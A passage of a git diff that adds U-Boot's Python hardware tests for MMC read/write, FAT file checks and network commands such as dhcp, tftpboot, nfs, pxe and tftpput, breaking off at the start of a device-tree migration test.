+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = devices[x]['addr_%d' % part]
+ size = 0
+ file = devices[x]['file_%d' % part]
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ 'save mmc %d:%s %x /%s %d'
+ % (x, part, addr + offset, file, size)
+ )
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ if not part_detect:
+ pytest.skip('No partition detected')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_mmc_fat_read_write_files(u_boot_console):
+ test_mmc_list(u_boot_console)
+ test_mmc_dev(u_boot_console)
+ test_mmcinfo(u_boot_console)
+ test_mmc_part(u_boot_console)
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'fat'
+
+ # Number of files to be written/read in MMC card
+ num_files = 100
+
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ count_f = 0
+ addr_l = []
+ size_l = []
+ file_l = []
+ crc32_l = []
+ offset_l = []
+ addr_l.append(addr)
+
+ while count_f < num_files:
+ size_l.append(random.randint(4, 1 * 1024 * 1024))
+
+ # CRC32 count
+ output = u_boot_console.run_command(
+ 'crc32 %x %x' % (addr_l[count_f], size_l[count_f])
+ )
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ crc32_l.append(m.group(1))
+
+ # Write operation
+ file_l.append('%s_%d_%d' % ('uboot_test', count_f, size_l[count_f]))
+ output = u_boot_console.run_command(
+ '%swrite mmc %d:%s %x %s %x'
+ % (
+ fs,
+ x,
+ part,
+ addr_l[count_f],
+ file_l[count_f],
+ size_l[count_f],
+ )
+ )
+ assert 'Unable to write' not in output
+ assert 'Error' not in output
+ assert 'overflow' not in output
+ expected_text = '%d bytes written' % size_l[count_f]
+ assert expected_text in output
+
+ addr_l.append(addr_l[count_f] + size_l[count_f] + 1048576)
+ count_f += 1
+
+ count_f = 0
+ while count_f < num_files:
+ alignment = int(
+ u_boot_console.config.buildconfig.get(
+ 'config_sys_cacheline_size', 128
+ )
+ )
+ offset_l.append(random.randrange(alignment, 1024, alignment))
+
+ # Read operation
+ output = u_boot_console.run_command(
+ '%sload mmc %d:%s %x %s'
+ % (
+ fs,
+ x,
+ part,
+ addr_l[count_f] + offset_l[count_f],
+ file_l[count_f],
+ )
+ )
+ assert 'Invalid FAT entry' not in output
+ assert 'Unable to read file' not in output
+ assert 'Misaligned buffer address' not in output
+ expected_text = '%d bytes read' % size_l[count_f]
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr_l[count_f] + offset_l[count_f])
+ )
+ assert crc32_l[count_f] in output
+
+ count_f += 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
diff --git a/test/py/tests/test_mmc_rd.py b/test/py/tests/test_mmc_rd.py
new file mode 100644
index 00000000000..ea652f91361
--- /dev/null
+++ b/test/py/tests/test_mmc_rd.py
@@ -0,0 +1,286 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "mmc read" command. The test reads data from the eMMC or SD
+# card, and validates the no errors occurred, and that the expected data was
+# read if the test configuration contains a CRC of the expected data.
+
+import pytest
+import time
+import u_boot_utils
+
+"""
+This test relies on boardenv_* to containing configuration values to define
+which MMC devices should be tested. For example:
+
+# Configuration data for test_mmc_dev, test_mmc_rescan, test_mmc_info; defines
+# whole MMC devices that mmc dev/rescan/info commands may operate upon.
+env__mmc_dev_configs = (
+ {
+ 'fixture_id': 'emmc-boot0',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 1,
+ 'info_device': ???,
+ 'info_speed': ???,
+ 'info_mode': ???,
+ 'info_buswidth': ???.
+ },
+ {
+ 'fixture_id': 'emmc-boot1',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 2,
+ 'info_device': ???,
+ 'info_speed': ???,
+ 'info_mode': ???,
+ 'info_buswidth': ???.
+ },
+ {
+ 'fixture_id': 'emmc-data',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 0,
+ 'info_device': ???,
+ 'info_speed': ???,
+ 'info_mode': ???,
+ 'info_buswidth': ???.
+ },
+ {
+ 'fixture_id': 'sd',
+ 'is_emmc': False,
+ 'devid': 1,
+ 'partid': None,
+ 'info_device': ???,
+ 'info_speed': ???,
+ 'info_mode': ???,
+ 'info_buswidth': ???.
+ },
+)
+
+# Configuration data for test_mmc_rd; defines regions of the MMC (entire
+# devices, or ranges of sectors) which can be read:
+env__mmc_rd_configs = (
+ {
+ 'fixture_id': 'emmc-boot0',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 1,
+ 'sector': 0x10,
+ 'count': 1,
+ },
+ {
+ 'fixture_id': 'emmc-boot1',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 2,
+ 'sector': 0x10,
+ 'count': 1,
+ },
+ {
+ 'fixture_id': 'emmc-data',
+ 'is_emmc': True,
+ 'devid': 0,
+ 'partid': 0,
+ 'sector': 0x10,
+ 'count': 0x1000,
+ },
+ {
+ 'fixture_id': 'sd-mbr',
+ 'is_emmc': False,
+ 'devid': 1,
+ 'partid': None,
+ 'sector': 0,
+ 'count': 1,
+ 'crc32': '8f6ecf0d',
+ },
+ {
+ 'fixture_id': 'sd-large',
+ 'is_emmc': False,
+ 'devid': 1,
+ 'partid': None,
+ 'sector': 0x10,
+ 'count': 0x1000,
+ },
+)
+"""
+
+def mmc_dev(u_boot_console, is_emmc, devid, partid):
+ """Run the "mmc dev" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ is_emmc: Whether the device is eMMC
+ devid: Device ID
+ partid: Partition ID
+
+ Returns:
+ Nothing.
+ """
+
+ # Select MMC device
+ cmd = 'mmc dev %d' % devid
+ if is_emmc:
+ cmd += ' %d' % partid
+ response = u_boot_console.run_command(cmd)
+ assert 'no card present' not in response
+ if is_emmc:
+ partid_response = '(part %d)' % partid
+ else:
+ partid_response = ''
+ good_response = 'mmc%d%s is current device' % (devid, partid_response)
+ assert good_response in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_dev(u_boot_console, env__mmc_dev_config):
+ """Test the "mmc dev" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__mmc_dev_config: The single MMC configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ is_emmc = env__mmc_dev_config['is_emmc']
+ devid = env__mmc_dev_config['devid']
+ partid = env__mmc_dev_config.get('partid', 0)
+
+ # Select MMC device
+ mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_rescan(u_boot_console, env__mmc_dev_config):
+ """Test the "mmc rescan" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__mmc_dev_config: The single MMC configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ is_emmc = env__mmc_dev_config['is_emmc']
+ devid = env__mmc_dev_config['devid']
+ partid = env__mmc_dev_config.get('partid', 0)
+
+ # Select MMC device
+ mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+ # Rescan MMC device
+ cmd = 'mmc rescan'
+ response = u_boot_console.run_command(cmd)
+ assert 'no card present' not in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_info(u_boot_console, env__mmc_dev_config):
+ """Test the "mmc info" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__mmc_dev_config: The single MMC configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ is_emmc = env__mmc_dev_config['is_emmc']
+ devid = env__mmc_dev_config['devid']
+ partid = env__mmc_dev_config.get('partid', 0)
+ info_device = env__mmc_dev_config['info_device']
+ info_speed = env__mmc_dev_config['info_speed']
+ info_mode = env__mmc_dev_config['info_mode']
+ info_buswidth = env__mmc_dev_config['info_buswidth']
+
+ # Select MMC device
+ mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+ # Read MMC device information
+ cmd = 'mmc info'
+ response = u_boot_console.run_command(cmd)
+ good_response = "Device: %s" % info_device
+ assert good_response in response
+ good_response = "Bus Speed: %s" % info_speed
+ assert good_response in response
+ good_response = "Mode: %s" % info_mode
+ assert good_response in response
+ good_response = "Bus Width: %s" % info_buswidth
+ assert good_response in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_rd(u_boot_console, env__mmc_rd_config):
+ """Test the "mmc read" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__mmc_rd_config: The single MMC configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ is_emmc = env__mmc_rd_config['is_emmc']
+ devid = env__mmc_rd_config['devid']
+ partid = env__mmc_rd_config.get('partid', 0)
+ sector = env__mmc_rd_config.get('sector', 0)
+ count_sectors = env__mmc_rd_config.get('count', 1)
+ expected_crc32 = env__mmc_rd_config.get('crc32', None)
+ read_duration_max = env__mmc_rd_config.get('read_duration_max', 0)
+
+ count_bytes = count_sectors * 512
+ bcfg = u_boot_console.config.buildconfig
+ has_cmd_memory = bcfg.get('config_cmd_memory', 'n') == 'y'
+ has_cmd_crc32 = bcfg.get('config_cmd_crc32', 'n') == 'y'
+ ram_base = u_boot_utils.find_ram_base(u_boot_console)
+ addr = '0x%08x' % ram_base
+
+ # Select MMC device
+ mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+ # Clear target RAM
+ if expected_crc32:
+ if has_cmd_memory and has_cmd_crc32:
+ cmd = 'mw.b %s 0 0x%x' % (addr, count_bytes)
+ u_boot_console.run_command(cmd)
+
+ cmd = 'crc32 %s 0x%x' % (addr, count_bytes)
+ response = u_boot_console.run_command(cmd)
+ assert expected_crc32 not in response
+ else:
+ u_boot_console.log.warning(
+ 'CONFIG_CMD_MEMORY or CONFIG_CMD_CRC32 != y: Skipping RAM clear')
+
+ # Read data
+ cmd = 'mmc read %s %x %x' % (addr, sector, count_sectors)
+ tstart = time.time()
+ response = u_boot_console.run_command(cmd)
+ tend = time.time()
+ good_response = 'MMC read: dev # %d, block # %d, count %d ... %d blocks read: OK' % (
+ devid, sector, count_sectors, count_sectors)
+ assert good_response in response
+
+ # Check target RAM
+ if expected_crc32:
+ if has_cmd_crc32:
+ cmd = 'crc32 %s 0x%x' % (addr, count_bytes)
+ response = u_boot_console.run_command(cmd)
+ assert expected_crc32 in response
+ else:
+ u_boot_console.log.warning('CONFIG_CMD_CRC32 != y: Skipping check')
+
+ # Check if the command did not take too long
+ if read_duration_max:
+ elapsed = tend - tstart
+ u_boot_console.log.info('Reading %d bytes took %f seconds' %
+ (count_bytes, elapsed))
+ assert elapsed <= (read_duration_max - 0.01)
diff --git a/test/py/tests/test_mmc_wr.py b/test/py/tests/test_mmc_wr.py
new file mode 100644
index 00000000000..05e5c1ee85d
--- /dev/null
+++ b/test/py/tests/test_mmc_wr.py
@@ -0,0 +1,105 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2019, Texas Instrument
+# Author: Jean-Jacques Hiblot <jjhiblot@ti.com>
+
+# Test U-Boot's "mmc write" command. The test generates random data, writes it
+# to the eMMC or SD card, then reads it back and performs a comparison.
+
+import pytest
+import u_boot_utils
+
+"""
+This test relies on boardenv_* to containing configuration values to define
+which MMC devices should be tested. For example:
+
+env__mmc_wr_configs = (
+ {
+ "fixture_id": "emmc-boot0",
+ "is_emmc": True,
+ "devid": 1,
+ "partid": 1,
+ "sector": 0x10,
+ "count": 100,
+ "test_iterations": 50,
+ },
+ {
+ "fixture_id": "emmc-boot1",
+ "is_emmc": True,
+ "devid": 1,
+ "partid": 2,
+ "sector": 0x10,
+ "count": 100,
+ "test_iterations": 50,
+ },
+)
+
+"""
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_random')
+def test_mmc_wr(u_boot_console, env__mmc_wr_config):
+ """Test the "mmc write" command.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__mmc_wr_config: The single MMC configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ is_emmc = env__mmc_wr_config['is_emmc']
+ devid = env__mmc_wr_config['devid']
+ partid = env__mmc_wr_config.get('partid', 0)
+ sector = env__mmc_wr_config.get('sector', 0)
+ count_sectors = env__mmc_wr_config.get('count', 1)
+ test_iterations = env__mmc_wr_config.get('test_iterations', 1)
+
+
+ count_bytes = count_sectors * 512
+ bcfg = u_boot_console.config.buildconfig
+ ram_base = u_boot_utils.find_ram_base(u_boot_console)
+ src_addr = '0x%08x' % ram_base
+ dst_addr = '0x%08x' % (ram_base + count_bytes)
+
+
+ for i in range(test_iterations):
+ # Generate random data
+ cmd = 'random %s %x' % (src_addr, count_bytes)
+ response = u_boot_console.run_command(cmd)
+ good_response = '%d bytes filled with random data' % (count_bytes)
+ assert good_response in response
+
+ # Select MMC device
+ cmd = 'mmc dev %d' % devid
+ if is_emmc:
+ cmd += ' %d' % partid
+ response = u_boot_console.run_command(cmd)
+ assert 'no card present' not in response
+ if is_emmc:
+ partid_response = "(part %d)" % partid
+ else:
+ partid_response = ""
+ good_response = 'mmc%d%s is current device' % (devid, partid_response)
+ assert good_response in response
+
+ # Write data
+ cmd = 'mmc write %s %x %x' % (src_addr, sector, count_sectors)
+ response = u_boot_console.run_command(cmd)
+ good_response = 'MMC write: dev # %d, block # %d, count %d ... %d blocks written: OK' % (devid, sector, count_sectors, count_sectors)
+ assert good_response in response
+
+ # Read data
+ cmd = 'mmc read %s %x %x' % (dst_addr, sector, count_sectors)
+ response = u_boot_console.run_command(cmd)
+ good_response = 'MMC read: dev # %d, block # %d, count %d ... %d blocks read: OK' % (devid, sector, count_sectors, count_sectors)
+ assert good_response in response
+
+ # Compare src and dst data
+ cmd = 'cmp.b %s %s %x' % (src_addr, dst_addr, count_bytes)
+ response = u_boot_console.run_command(cmd)
+ good_response = 'Total of %d byte(s) were the same' % (count_bytes)
+ assert good_response in response
diff --git a/test/py/tests/test_net.py b/test/py/tests/test_net.py
new file mode 100644
index 00000000000..038a473b239
--- /dev/null
+++ b/test/py/tests/test_net.py
@@ -0,0 +1,459 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test various network-related functionality, such as the dhcp, ping, and
+# tftpboot commands.
+
+import pytest
+import u_boot_utils
+import uuid
+import datetime
+import re
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which network environment is available for testing. Without this, this test
+will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# False or omitted if a DHCP server is attached to the network, and dhcp abort
+# case should be tested.
+# If DHCP abort testing is not possible or desired, set this variable to True.
+# For example: On some setup, dhcp is too fast and this case may not work.
+env__dhcp_abort_test_skip = True
+
+# True if a DHCPv6 server is attached to the network, and should be tested.
+# If DHCPv6 testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp6_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+ ('ipaddr', '10.0.0.100'),
+ ('netmask', '255.255.255.0'),
+ ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+env__net_tftp_readable_file = {
+ 'fn': 'ubtest-readable.bin',
+ 'addr': 0x10000000,
+ 'size': 5058624,
+ 'crc32': 'c2244b26',
+ 'timeout': 50000,
+ 'fnu': 'ubtest-upload.bin',
+}
+
+# Details regarding a file that may be read from a NFS server. This variable
+# may be omitted or set to None if NFS testing is not possible or desired.
+env__net_nfs_readable_file = {
+ 'fn': 'ubtest-readable.bin',
+ 'addr': 0x10000000,
+ 'size': 5058624,
+ 'crc32': 'c2244b26',
+}
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if PXE testing is not possible or desired.
+env__net_pxe_readable_file = {
+ 'fn': 'default',
+ 'addr': 0x2000000,
+ 'size': 74,
+ 'timeout': 50000,
+ 'pattern': 'Linux',
+}
+
+# True if a router advertisement service is connected to the network, and should
+# be tested. If router advertisement testing is not possible or desired, this
+variable may be omitted or set to False.
+env__router_on_net = True
+"""
+
+net_set_up = False
+net6_set_up = False
+
+def test_net_pre_commands(u_boot_console):
+ """Execute any commands required to enable network hardware.
+
+ These commands are provided by the boardenv_* file; see the comment at the
+ beginning of this file.
+ """
+
+ init_usb = u_boot_console.config.env.get('env__net_uses_usb', False)
+ if init_usb:
+ u_boot_console.run_command('usb start')
+
+ init_pci = u_boot_console.config.env.get('env__net_uses_pci', False)
+ if init_pci:
+ u_boot_console.run_command('pci enum')
+
+ u_boot_console.run_command('net list')
+
+@pytest.mark.buildconfigspec('cmd_dhcp')
+def test_net_dhcp(u_boot_console):
+ """Test the dhcp command.
+
+ The boardenv_* file may be used to enable/disable this test; see the
+ comment at the beginning of this file.
+ """
+
+ test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+ if not test_dhcp:
+ pytest.skip('No DHCP server available')
+
+ u_boot_console.run_command('setenv autoload no')
+ output = u_boot_console.run_command('dhcp')
+ assert 'DHCP client bound to address ' in output
+
+ global net_set_up
+ net_set_up = True
+
+@pytest.mark.buildconfigspec('cmd_dhcp')
+@pytest.mark.buildconfigspec('cmd_mii')
+def test_net_dhcp_abort(u_boot_console):
+ """Test the dhcp command by pressing ctrl+c in the middle of dhcp request
+
+ The boardenv_* file may be used to enable/disable this test; see the
+ comment at the beginning of this file.
+ """
+
+ test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+ if not test_dhcp:
+ pytest.skip('No DHCP server available')
+
+ if u_boot_console.config.env.get('env__dhcp_abort_test_skip', True):
+ pytest.skip('DHCP abort test is not enabled!')
+
+ u_boot_console.run_command('setenv autoload no')
+
+ # Phy reset before running dhcp command
+ output = u_boot_console.run_command('mii device')
+ if not re.search(r"Current device: '(.+?)'", output):
+ pytest.skip('PHY device does not exist!')
+ eth_num = re.search(r"Current device: '(.+?)'", output).groups()[0]
+ u_boot_console.run_command(f'mii device {eth_num}')
+ output = u_boot_console.run_command('mii info')
+ eth_addr = hex(int(re.search(r'PHY (.+?):', output).groups()[0], 16))
+ u_boot_console.run_command(f'mii modify {eth_addr} 0 0x8000 0x8000')
+
+ u_boot_console.run_command('dhcp', wait_for_prompt=False)
+ try:
+ u_boot_console.wait_for('Waiting for PHY auto negotiation to complete')
+ except:
+ pytest.skip('Timeout waiting for PHY auto negotiation to complete')
+
+ u_boot_console.wait_for('done')
+
+ try:
+ # Sending Ctrl-C
+ output = u_boot_console.run_command(
+ chr(3), wait_for_echo=False, send_nl=False
+ )
+ assert 'TIMEOUT' not in output
+ assert 'DHCP client bound to address ' not in output
+ assert 'Abort' in output
+ finally:
+ # Provide a time to recover from Abort - if it is not performed
+ # There is message like: ethernet@ff0e0000: No link.
+ u_boot_console.run_command('sleep 1')
+ # Run the dhcp test to setup the network configuration
+ test_net_dhcp(u_boot_console)
+
+@pytest.mark.buildconfigspec('cmd_dhcp6')
+def test_net_dhcp6(u_boot_console):
+ """Test the dhcp6 command.
+
+ The boardenv_* file may be used to enable/disable this test; see the
+ comment at the beginning of this file.
+ """
+
+ test_dhcp6 = u_boot_console.config.env.get('env__net_dhcp6_server', False)
+ if not test_dhcp6:
+ pytest.skip('No DHCP6 server available')
+
+ u_boot_console.run_command('setenv autoload no')
+ output = u_boot_console.run_command('dhcp6')
+ assert 'DHCP6 client bound to ' in output
+
+ global net6_set_up
+ net6_set_up = True
+
+@pytest.mark.buildconfigspec('net')
+def test_net_setup_static(u_boot_console):
+ """Set up a static IP configuration.
+
+ The configuration is provided by the boardenv_* file; see the comment at
+ the beginning of this file.
+ """
+
+ env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+ if not env_vars:
+ pytest.skip('No static network configuration is defined')
+
+ for (var, val) in env_vars:
+ u_boot_console.run_command('setenv %s %s' % (var, val))
+
+ global net_set_up
+ net_set_up = True
+
+@pytest.mark.buildconfigspec('cmd_ping')
+def test_net_ping(u_boot_console):
+ """Test the ping command.
+
+ The $serverip (as set up by either test_net_dhcp or test_net_setup_static)
+ is pinged. The test validates that the host is alive, as reported by the
+ ping command's output.
+ """
+
+ if not net_set_up:
+ pytest.skip('Network not initialized')
+
+ output = u_boot_console.run_command('ping $serverip')
+ assert 'is alive' in output
+
+@pytest.mark.buildconfigspec('IPV6_ROUTER_DISCOVERY')
+def test_net_network_discovery(u_boot_console):
+ """Test the network discovery feature of IPv6.
+
+ An IPv6 network command (ping6 in this case) is run to make U-Boot send a
+ router solicitation packet, receive a router advertisement message, and
+ parse it.
+ A router advertisement service needs to be running for this test to succeed.
+ U-Boot receives the RA, processes it, and if successful, assigns the gateway
+ IP and prefix length.
+ The configuration is provided by the boardenv_* file; see the comment at
+ the beginning of this file.
+ """
+
+ router_on_net = u_boot_console.config.env.get('env__router_on_net', False)
+ if not router_on_net:
+ pytest.skip('No router on network')
+
+ fake_host_ip = 'fe80::215:5dff:fef6:2ec6'
+ output = u_boot_console.run_command('ping6 ' + fake_host_ip)
+ assert 'ROUTER SOLICITATION 1' in output
+ assert 'Set gatewayip6:' in output
+ assert '0000:0000:0000:0000:0000:0000:0000:0000' not in output
+
+@pytest.mark.buildconfigspec('cmd_net')
+def test_net_tftpboot(u_boot_console):
+ """Test the tftpboot command.
+
+ A file is downloaded from the TFTP server, its size and optionally its
+ CRC32 are validated.
+
+ The details of the file to download are provided by the boardenv_* file;
+ see the comment at the beginning of this file.
+ """
+
+ if not net_set_up:
+ pytest.skip('Network not initialized')
+
+ f = u_boot_console.config.env.get('env__net_tftp_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file to read')
+
+ addr = f.get('addr', None)
+
+ fn = f['fn']
+ if not addr:
+ output = u_boot_console.run_command('tftpboot %s' % (fn))
+ else:
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ expected_text = 'Bytes transferred = '
+ sz = f.get('size', None)
+ if sz:
+ expected_text += '%d' % sz
+ assert expected_text in output
+
+ expected_crc = f.get('crc32', None)
+ if not expected_crc:
+ return
+
+ if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+ return
+
+ output = u_boot_console.run_command('crc32 $fileaddr $filesize')
+ assert expected_crc in output
+
+@pytest.mark.buildconfigspec('cmd_nfs')
+def test_net_nfs(u_boot_console):
+ """Test the nfs command.
+
+ A file is downloaded from the NFS server, its size and optionally its
+ CRC32 are validated.
+
+ The details of the file to download are provided by the boardenv_* file;
+ see the comment at the beginning of this file.
+ """
+
+ if not net_set_up:
+ pytest.skip('Network not initialized')
+
+ f = u_boot_console.config.env.get('env__net_nfs_readable_file', None)
+ if not f:
+ pytest.skip('No NFS readable file to read')
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ fn = f['fn']
+ output = u_boot_console.run_command('nfs %x %s' % (addr, fn))
+ expected_text = 'Bytes transferred = '
+ sz = f.get('size', None)
+ if sz:
+ expected_text += '%d' % sz
+ assert expected_text in output
+
+ expected_crc = f.get('crc32', None)
+ if not expected_crc:
+ return
+
+ if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+ return
+
+ output = u_boot_console.run_command('crc32 %x $filesize' % addr)
+ assert expected_crc in output
+
+@pytest.mark.buildconfigspec("cmd_net")
+@pytest.mark.buildconfigspec("cmd_pxe")
+def test_net_pxe_get(u_boot_console):
+ """Test the pxe get command.
+
+ A pxe configuration file is downloaded from the TFTP server and interpreted
+ to boot the images mentioned in pxe configuration file.
+
+ The details of the file to download are provided by the boardenv_* file;
+ see the comment at the beginning of this file.
+ """
+
+ if not net_set_up:
+ pytest.skip("Network not initialized")
+
+ test_net_setup_static(u_boot_console)
+
+ f = u_boot_console.config.env.get("env__net_pxe_readable_file", None)
+ if not f:
+ pytest.skip("No PXE readable file to read")
+
+ addr = f.get("addr", None)
+ timeout = f.get("timeout", u_boot_console.p.timeout)
+
+ pxeuuid = uuid.uuid1()
+ u_boot_console.run_command(f"setenv pxeuuid {pxeuuid}")
+ expected_text_uuid = f"Retrieving file: pxelinux.cfg/{pxeuuid}"
+
+ ethaddr = u_boot_console.run_command("echo $ethaddr")
+ ethaddr = ethaddr.replace(':', '-')
+ expected_text_ethaddr = f"Retrieving file: pxelinux.cfg/01-{ethaddr}"
+
+ ip = u_boot_console.run_command("echo $ipaddr")
+ ip = ip.split('.')
+ ipaddr_file = "".join(['%02x' % int(x) for x in ip]).upper()
+ expected_text_ipaddr = f"Retrieving file: pxelinux.cfg/{ipaddr_file}"
+ expected_text_default = f"Retrieving file: pxelinux.cfg/default"
+
+ with u_boot_console.temporary_timeout(timeout):
+ output = u_boot_console.run_command("pxe get")
+
+ assert "TIMEOUT" not in output
+ assert expected_text_uuid in output
+ assert expected_text_ethaddr in output
+ assert expected_text_ipaddr in output
+
+ i = 1
+ for i in range(0, len(ipaddr_file) - 1):
+ expected_text_ip = f"Retrieving file: pxelinux.cfg/{ipaddr_file[:-i]}"
+ assert expected_text_ip in output
+ i += 1
+
+ assert expected_text_default in output
+ assert "Config file 'default.boot' found" in output
+
+@pytest.mark.buildconfigspec("cmd_crc32")
+@pytest.mark.buildconfigspec("cmd_net")
+@pytest.mark.buildconfigspec("cmd_tftpput")
+def test_net_tftpput(u_boot_console):
+ """Test the tftpput command.
+
+ A file is downloaded from the TFTP server and then uploaded to the TFTP
+ server, its size and its CRC32 are validated.
+
+ The details of the file to download are provided by the boardenv_* file;
+ see the comment at the beginning of this file.
+ """
+
+ if not net_set_up:
+ pytest.skip("Network not initialized")
+
+ f = u_boot_console.config.env.get("env__net_tftp_readable_file", None)
+ if not f:
+ pytest.skip("No TFTP readable file to read")
+
+ addr = f.get("addr", None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ sz = f.get("size", None)
+ timeout = f.get("timeout", u_boot_console.p.timeout)
+ fn = f["fn"]
+ fnu = f.get("fnu", "_".join([datetime.datetime.now().strftime("%y%m%d%H%M%S"), fn]))
+ expected_text = "Bytes transferred = "
+ if sz:
+ expected_text += "%d" % sz
+
+ with u_boot_console.temporary_timeout(timeout):
+ output = u_boot_console.run_command("tftpboot %x %s" % (addr, fn))
+
+ assert "TIMEOUT" not in output
+ assert expected_text in output
+
+ expected_tftpb_crc = f.get("crc32", None)
+
+ output = u_boot_console.run_command("crc32 $fileaddr $filesize")
+ assert expected_tftpb_crc in output
+
+ with u_boot_console.temporary_timeout(timeout):
+ output = u_boot_console.run_command(
+ "tftpput $fileaddr $filesize $serverip:%s" % (fnu)
+ )
+
+ expected_text = "Bytes transferred = "
+ if sz:
+ expected_text += "%d" % sz
+ addr = addr + sz
+ assert "TIMEOUT" not in output
+ assert "Access violation" not in output
+ assert expected_text in output
+
+ with u_boot_console.temporary_timeout(timeout):
+ output = u_boot_console.run_command("tftpboot %x %s" % (addr, fnu))
+
+ expected_text = "Bytes transferred = "
+ if sz:
+ expected_text += "%d" % sz
+ assert "TIMEOUT" not in output
+ assert expected_text in output
+
+ output = u_boot_console.run_command("crc32 $fileaddr $filesize")
+ assert expected_tftpb_crc in output
diff --git a/test/py/tests/test_of_migrate.py b/test/py/tests/test_of_migrate.py
new file mode 100644
index 00000000000..910f7c05510
--- /dev/null
+++ b/test/py/tests/test_of_migrate.py
@@ -0,0 +1,108 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2023 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+"""Test handling of unmigrated u-boot,dm- tags"""
+
+import os
+import pytest
+
+import u_boot_utils as util
+
+# This is needed for Azure, since the default '..' directory is not writeable
+TMPDIR1 = '/tmp/test_no_migrate'
+TMPDIR2 = '/tmp/test_no_migrate_spl'
+TMPDIR3 = '/tmp/test_migrate'
+
+def build_for_migrate(cons, replace_pair, board, tmpdir, disable_migrate=True):
+ """Build an updated U-Boot with a slightly modified device tree
+
+ Args:
+ cons (ConsoleBase): U-Boot console
+ replace_pair (tuple):
+ String to find
+ String to replace it with
+ board (str): Board to build
+ tmpdir (str): Temporary directory to use
